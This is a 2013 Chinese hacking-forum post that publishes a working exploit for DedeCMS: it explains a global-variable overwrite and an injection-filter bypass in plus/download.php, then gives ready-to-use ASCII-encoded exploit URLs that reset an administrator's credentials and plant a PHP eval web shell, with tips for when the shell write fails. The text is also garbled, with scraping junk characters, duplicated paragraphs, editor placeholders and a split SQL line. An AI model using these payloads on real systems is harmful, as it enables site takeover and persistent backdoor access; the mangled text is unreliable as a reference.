找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3045|回复: 0
打印 上一主题 下一主题

dedecms最新版本修改任意管理员漏洞+getshell+exp

[复制链接]
跳转到指定楼层
楼主
发表于 2013-9-21 16:08:21 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
此漏洞无视gpc转义,过80sec注入防御。
0 Y8 b2 V& G! T. l; b! j( R% o2 L补充下,不用担心后台找不到。这只是一个demo,都能修改任意数据库了,还怕拿不到SHELL?0 b" G4 E2 l2 p; t: h# u) z( f
起因是全局变量$GLOBALS可以被任意修改,随便看了下,漏洞一堆,我只找了一处。
  }  q0 r2 U! z$ Yinclude/dedesql.class.php5 d$ U* @  D5 @! g0 K6 J6 _
if(isset($GLOBALS['arrs1'])){    $v1 = $v2 = '';    for($i=0;isset($arrs1[$i]);$i++)    {        $v1 .= chr($arrs1[$i]);    }    for($i=0;isset($arrs2[$i]);$i++)    {        $v2 .= chr($arrs2[$i]);   //解码ascii    }    $GLOBALS[$v1] .= $v2; //注意这里不是覆盖,是+}function SetQuery($sql)    {        $prefix="#@__";        $sql = str_replace($prefix,$GLOBALS['cfg_dbprefix'],$sql);  //看到这里无话可说,不明白为什么要这样做。        $this->queryString = $sql;    }另外说下绕过80sec防注入的方法。
( ]7 n' U+ N( C+ Z. A* k同一文件中,有两个执行SQL的函数。ExecuteNoneQuery和ExecuteNoneQuery21 @% g5 C- T, ]2 ^2 f% R. t0 G
而用ExecuteNoneQuery2执行SQL并没有防注入,于是随便找个用ExecuteNoneQuery2执行的文件。; }- y( u! b: A/ Q: w  {
plus/download.php' x1 n* {6 V: H& Y& _  ]
else if($open==1){    $id = isset($id) && is_numeric($id) ? $id : 0;    $link = base64_decode(urldecode($link));    $hash = md5($link);//这里的#@_是可以控制的    $rs = $dsql->ExecuteNoneQuery2("UPDATE `#@__downloads` SET downloads = downloads + 1 WHERE hash='$hash' ");    if($rs <= 0)     {         $query = " INSERT INTO `#@__downloads`(`hash`,`id`,`downloads`) VALUES('$hash','$id',1); ";         $dsql->ExecNoneQuery($query);    }    header("locationlink");    exit();}构造SQL语句 (提交的时候用ascii加密,程序会帮我们自动解密的,所以无视gpc):' [3 P& ?" ?2 r  W4 V: i6 l
admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #完整SQL语句:/ `9 A2 W: u: i3 C  e
UPDATE `dede_admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #_downloads` SET downloads = downloads + 1 WHERE hash='$hash' EXP:' |& |# E4 }6 y5 C: A5 j
http://localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=97&arrs2[]=100&arrs2[]=109&arrs2[]=105&arrs2[]=110&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=117&arrs2[]=115&arrs2[]=101&arrs2[]=114&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=115&arrs2[]=112&arrs2[]=105&arrs2[]=100&arrs2[]=101&arrs2[]=114&arrs2[]=39&arrs2[]=44&arrs2[]=32&arrs2[]=96&arrs2[]=112&arrs2[]=119&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=102&arrs2[]=50&arrs2[]=57&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=97&arrs2[]=55&arrs2[]=52&arrs2[]=51&arrs2[]=56&arrs2[]=57&arrs2[]=52&arrs2[]=97&arrs2[]=48&arrs2[]=101&arrs2[]=52&arrs2[]=39&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=105&arrs2[]=100&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35如果不出问题,后台登录用户spider密码admin1 w; E& j% y9 n2 f: ?& }. D# z
漏洞真的不止一处,各种包含,远程代码执行,很多,列位慢慢研究。! n& `/ b# L5 h# j3 d0 q
如果找不到后台,参见以前修改数据库直接拿SHELL的方法
2 u& M! @/ m; F; P8 QUPDATE `dede_mytag` SET `normbody` = '{dede:php}file_put_contents(''spider.php'',''<!--?php eval(此漏洞无视gpc转义,过80sec注入防御。
2 E. ^6 Q$ i4 n, E4 [+ T补充下,不用担心后台找不到。这只是一个demo,都能修改任意数据库了,还怕拿不到SHELL?
" F2 o- D! ?# E; N2 h起因是全局变量$GLOBALS可以被任意修改,随便看了下,漏洞一堆,我只找了一处。
3 g7 P- _- ~% D. oinclude/dedesql.class.php* \1 D* w* C! |2 s0 H4 ~
if(isset($GLOBALS['arrs1'])){    $v1 = $v2 = '';    for($i=0;isset($arrs1[$i]);$i++)    {        $v1 .= chr($arrs1[$i]);    }    for($i=0;isset($arrs2[$i]);$i++)    {        $v2 .= chr($arrs2[$i]);   //解码ascii    }    $GLOBALS[$v1] .= $v2; //注意这里不是覆盖,是+}function SetQuery($sql)    {        $prefix="#@__";        $sql = str_replace($prefix,$GLOBALS['cfg_dbprefix'],$sql);  //看到这里无话可说,不明白为什么要这样做。        $this->queryString = $sql;    }另外说下绕过80sec防注入的方法。
- z) l' V4 K" x2 T& b: F同一文件中,有两个执行SQL的函数。ExecuteNoneQuery和ExecuteNoneQuery2
8 H' g3 W( C3 j- n而用ExecuteNoneQuery2执行SQL并没有防注入,于是随便找个用ExecuteNoneQuery2执行的文件。. L+ G( f7 N& ~: N+ V! }/ F, \- {
plus/download.php$ e& U% `+ i9 S2 A
else if($open==1){    $id = isset($id) && is_numeric($id) ? $id : 0;    $link = base64_decode(urldecode($link));    $hash = md5($link);//这里的#@_是可以控制的    $rs = $dsql->ExecuteNoneQuery2("UPDATE `#@__downloads` SET downloads = downloads + 1 WHERE hash='$hash' ");    if($rs <= 0)     {         $query = " INSERT INTO `#@__downloads`(`hash`,`id`,`downloads`) VALUES('$hash','$id',1); ";         $dsql->ExecNoneQuery($query);    }    header("locationlink");    exit();}构造SQL语句 (提交的时候用ascii加密,程序会帮我们自动解密的,所以无视gpc):( {9 V. n' z7 P) Z, V0 S
admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #完整SQL语句:  }( D5 l; Y) v  U, |/ k7 P0 r9 G1 E+ K
UPDATE `dede_admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #_downloads` SET downloads = downloads + 1 WHERE hash='$hash' EXP:
) x0 i) L( \2 L) |1 O6 ihttp://localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=97&arrs2[]=100&arrs2[]=109&arrs2[]=105&arrs2[]=110&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=117&arrs2[]=115&arrs2[]=101&arrs2[]=114&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=115&arrs2[]=112&arrs2[]=105&arrs2[]=100&arrs2[]=101&arrs2[]=114&arrs2[]=39&arrs2[]=44&arrs2[]=32&arrs2[]=96&arrs2[]=112&arrs2[]=119&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=102&arrs2[]=50&arrs2[]=57&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=97&arrs2[]=55&arrs2[]=52&arrs2[]=51&arrs2[]=56&arrs2[]=57&arrs2[]=52&arrs2[]=97&arrs2[]=48&arrs2[]=101&arrs2[]=52&arrs2[]=39&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=105&arrs2[]=100&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35如果不出问题,后台登录用户spider密码admin* a* L: G! {+ [; H6 O5 x- k
漏洞真的不止一处,各种包含,远程代码执行,很多,列位慢慢研究。
0 j& ~9 ?1 D4 [0 V如果找不到后台,参见以前修改数据库直接拿SHELL的方法
) z% b' m, l8 {$ K___FCKpd___6getshell:( T) [! A, ?2 z+ G+ ?7 n8 ?
http://localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=109&arrs2[]=121&arrs2[]=116&arrs2[]=97&arrs2[]=103&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=110&arrs2[]=111&arrs2[]=114&arrs2[]=109&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arrs2[]=96&arrs2[]=32&arrs2[]=61&arrs2[]=32&arrs2[]=39&arrs2[]=123&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=102&arrs2[]=105&arrs2[]=108&arrs2[]=101&arrs2[]=95&arrs2[]=112&arrs2[]=117&arrs2[]=116&arrs2[]=95&arrs2[]=99&arrs2[]=111&arrs2[]=110&arrs2[]=116&arrs2[]=101&arrs2[]=110&arrs2[]=116&arrs2[]=115&arrs2[]=40&arrs2[]=39&arrs2[]=39&arrs2[]=120&arrs2[]=46&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=39&arrs2[]=39&arrs2[]=44&arrs2[]=39&arrs2[]=39&arrs2[]=60&arrs2[]=63&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=32&arrs2[]=101&arrs2[]=118&arrs2[]=97&arrs2[]=108&arrs2[]=40&arrs2[]=36&arrs2[]=95&arrs2[]=80&arrs2[]=79&arrs2[]=83&arrs2[]=84&arrs2[]=91&arrs2[]=109&arrs2[]=93&arrs2[]=41&arrs2[]=59&arrs2[]=63&arrs2[]=62&arrs2[]=39&arrs2[]=39&arrs2[]=41&arrs2[]=59&arrs2[]=123&arrs2[]=47&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=39&arrs2[]=32&arrs2[]=87&arrs2[]=72&arrs2[]=69&arrs2[]=82&arrs2[]=69&arrs2[]=32&arrs2[]=96&arrs2[]=97&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=32&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35会在plus目录生成 x.php 密码 m/ p& G$ R7 Q7 v) b
http://127.0.0.1/plus/x.php: n6 K3 f1 Y* P' g. V  V, h- K  h- l
update成功后还要访问下 /plus/mytag_js.php?aid=1
1 A2 g+ f+ A- E& C6 k失败原因:
  G4 J9 m! P* E% n1 a测试发现,如果aid为空或已经生成过一次,则会写shell失败….更改倒数第三个ascii改变改变aid(即&arrs2[]=49)  W. @( O$ c: Z8 W5 ~" B- ?) u% A
配图:
/ B1 s  N- K! e% d( t+ `" `, \1.查看dede当前版本
; L1 k4 k8 p2 b! e
4 `- D8 d& _  ]) q: D2.执行exp1 W( h/ t  z7 A" z4 T5 x

3 ]( O3 m2 Q; k) U4 Y+ Z/ \http://www.myhack58.com/Article/UploadPic/2013-9/20139913327683.png3.测试登陆后台
* s2 y+ n3 m# [) g' a. M! {" X! c( U" z! P$ C. @5 ~. X
spider密码admin
9 F! ~; }2 D4 j, C3 |, J
. |" T! K  q$ M- U  O9 Bhttp://www.myhack58.com/Article/UploadPic/2013-9/20139913327762.png
0 S$ O" M" s+ \0 l- K+ W原作者:imspider
6 S" n: J0 p) i: F$ ^
2 `1 Y8 m; a) v8 P本博客测试+配图+getshell& z; E& G/ u7 n) N4 _8 a  }; z2 H
POST[spider]);?-->'');{/dede:php}' WHERE `aid` =1 LIMIT
: O; |& S) l+ |
7 F( W& m! n# O0 r, Qgetshell:
9 ~% e1 `! w2 W9 x/ \3 k___FCKpd___7会在plus目录生成 x.php 密码 m# P" }9 Z9 O, b. H' W) e3 p
http://127.0.0.1/plus/x.php% F; B: s4 d4 W% g
update成功后还要访问下 /plus/mytag_js.php?aid=1
2 E8 L# j' q) l% m失败原因:
7 U8 |- C+ ~- l8 w测试发现,如果aid为空或已经生成过一次,则会写shell失败….更改倒数第三个ascii改变改变aid(即&arrs2[]=49)& v6 r8 O+ r  ]8 q+ `+ j
配图:+ W& |/ g/ ?$ T5 K5 s
1.查看dede当前版本' d4 h$ c* u; ?- q
http://www.myhack58.com/Article/UploadPic/2013-9/20139913326739.png1 z  o# f/ i! D4 T8 g* N
2.执行exp. C& ^! F/ [# W
http://www.myhack58.com/Article/UploadPic/2013-9/20139913327683.png3.测试登陆后台
/ Q4 h0 c* P$ q- uspider密码admin/ m  f2 }  r, j$ C$ i. p! Y$ U
http://www.myhack58.com/Article/UploadPic/2013-9/20139913327762.png$ v) B5 Q# |, F4 Q

, k; a& M6 h  o3 m
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表